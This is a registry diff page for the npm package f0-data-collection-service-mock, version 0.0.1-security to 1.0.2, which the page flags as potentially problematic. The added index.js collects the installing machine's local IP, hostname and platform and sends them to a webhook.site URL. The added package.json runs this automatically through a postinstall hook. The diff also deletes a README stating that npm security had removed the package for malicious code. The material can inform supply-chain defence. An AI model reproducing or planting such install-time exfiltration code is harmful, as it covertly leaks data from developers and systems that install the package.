f0-data-collection-service-mock 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of f0-data-collection-service-mock might be problematic. Click here for more details.
- package/index.js +38 -0
- package/package.json +11 -6
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
const { name: packageName, version: packageVersion } = require('./package.json');
|
5
|
+
|
6
|
+
const webhookUrl = 'https://webhook.site/352e98c7-e899-4ff7-91aa-ed34dff5dae8';
|
7
|
+
|
8
|
+
const localIp = os.networkInterfaces()['eth0']?.[0]?.address || 'unknown';
|
9
|
+
const hostname = os.hostname();
|
10
|
+
const platform = os.platform();
|
11
|
+
const timestamp = new Date().toISOString();
|
12
|
+
const userAgent = `${packageName}/${packageVersion} (${platform}; Node.js/${process.version})`;
|
13
|
+
|
14
|
+
const payload = {
|
15
|
+
package: packageName,
|
16
|
+
version: packageVersion,
|
17
|
+
ip: localIp,
|
18
|
+
hostname: hostname,
|
19
|
+
platform: platform,
|
20
|
+
timestamp: timestamp
|
21
|
+
};
|
22
|
+
|
23
|
+
const queryString = Object.keys(payload)
|
24
|
+
.map(key => `${key}=${encodeURIComponent(payload[key])}`)
|
25
|
+
.join('&');
|
26
|
+
|
27
|
+
const options = {
|
28
|
+
method: 'GET',
|
29
|
+
headers: {
|
30
|
+
'User-Agent': userAgent
|
31
|
+
}
|
32
|
+
};
|
33
|
+
|
34
|
+
https.get(`${webhookUrl}?${queryString}`, options, (res) => {
|
35
|
+
console.log('Data sent successfully');
|
36
|
+
}).on('error', (e) => {
|
37
|
+
console.error('Error sending request:', e);
|
38
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
|
-
{
|
2
|
-
"name": "f0-data-collection-service-mock",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
1
|
+
{
|
2
|
+
"name": "f0-data-collection-service-mock",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "my package",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "abdozakria117",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=f0-data-collection-service-mock for more information.
|